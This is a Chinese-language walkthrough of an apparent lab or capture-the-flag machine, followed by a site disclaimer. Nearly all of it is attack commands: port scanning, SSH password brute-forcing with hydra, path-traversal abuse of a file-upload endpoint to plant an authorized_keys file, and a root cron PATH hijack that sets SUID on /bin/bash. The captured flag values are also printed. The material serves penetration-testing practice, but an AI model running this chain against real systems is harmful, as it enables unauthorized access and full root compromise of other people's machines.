靶机信息
靶机:192.168.215.249
攻击机:192.168.45.209
启动连接
sudo openv*n universal.ov*n
详细步骤
1、端口扫描&服务探测
nmap --min-rate 10000 -p- 192.168.215.249
sudo nmap -p21,25022,33414,40080 -sC -sV 192.168.215.249
21、25022
33414
40080
2、Web 信息收集
21-FTP 服务匿名登录测试
ftp 192.168.215.249
anonymous
# binary 以二进制模式传输文件,保证文件完整
ftp > binary
# 查看目录结构
ftp > ls -al
进入了扩展模式,没有有价值的信息。
25022-SSH 端口的信息收集
SSH 弱口令爆破
hydra -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.215.249 ssh -t4 -s 25022
失败
33414 端口信息收集
访问 http://192.168.215.249:33414/,发现 404
根据之前识别的服务进行搜索
Server: Werkzeug/2.2.3 Python/3.9.13
Werkzeug是一个Python的WSGI工具库,用于构建Web应用程序和框架。Werkzeug提供了一套灵活的工具,用于处理HTTP请求和响应、路由请求、处理会话、进行调试等等。
基础目录扫描
sudo dirsearch -u http://192.168.215.249:33414
发现:http://192.168.215.249:33414/help
http://192.168.215.249:33414/info
40080 端口信息收集
访问 http://192.168.215.249:40080 是火狐的一个界面
3、漏洞探测
file-list 端点探测
file-list?dir=/tmp 下发现了文件信息
说明该功能点是具有读取路径的功能,尝试文件读取,发现失败
http://192.168.215.249:33414/file-list?dir=/etc/passwd
/file-upload端点
# GET模式不允许的我们改成POST
curl -X POST http://192.168.215.249:33414/file-upload
查询上传文件的语法,构造命令:
sudo curl -X POST -F file="@/opt/test01.txt" -F filename=test01.txt http://192.168.215.249:33414/file-upload
查看了一下文件上传的位置,发现是在/tmp 目录下
curl POST http://192.168.215.249:33414/file-list?dir=/tmp
SSH 密钥探测
尝试访问其他目录
curl http://192.168.215.249:33414/file-list?dir=/home
curl http://192.168.215.249:33414/file-list?dir=/home/alfredo
curl http://192.168.215.249:33414/file-list?dir=/home/alfredo/.ssh
发现存在 alfredo 的用户,存在.ssh 的文件夹,可以尝试该文件夹是否可以上传
#上传文件
sudo curl -X POST -F file="@/opt/test01.txt" -F filename=/home/alfredo/.ssh/test01.txt http://192.168.215.249:33414/file-upload
#查看文件是否上传
curl POST http://192.168.215.249:33414/file-list?dir=/home/alfredo/.ssh
攻击机生成密钥
考虑上传攻击机的 authorized_keys 到 alfredo 的用户,进行密钥 ssh 登录
首先在攻击机上生成对应的密钥对
ssh-keygen -t rsa
密码是 1
接着在文件上传点尝试上传 id_rsa_test.pub
利用目录穿越的方式将其上传到/home/alfredo/.ssh/authorized_keys
先修改白名单后缀
sudo mv text.txt.pub text.txt.txt
上传公钥文件
sudo curl -X POST -F file="@/opt/text.txt.txt" -F filename=/home/alfredo/.ssh/authorized_keys http://192.168.215.249:33414/file-upload
查看文件是否上传
curl POST http://192.168.215.249:33414/file-list?dir=/home/alfredo/.ssh
SSH 密钥登录
ssh -i text.txt [email protected] -p25022
FLAG1 获取
cat local.txt
0b8f9b2168dadb8e40f677f4b0ed7141
权限提升
sudo 提权尝试不成功
查找具有 sudo 权限,且不需要密码的可提权文件
sudo -l
发现需要密码
定时任务提权
cat /etc/crontab
发现有一个以 root 身份运行的计划任务。
查看文件
cat /usr/local/bin/backup-flask.sh
该脚本添加了一个环境变量,同时执行 tar 命令压缩 restapi 目录
我们可以在 restapi 目录下新建一个 tar 文件,来进行环境变量劫持。
echo "chmod u+s /bin/bash" > tar
cat tar
chmod +x tar
等待 1min,看到/bin/bash 已经有 suid 了,用 bash -p 完成提取
ls -al /bin/bash
bash -p
FLAG2 获取
cat /root/proof.txt
55e17ef27f2c0e59d272e1b5df71c31c
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)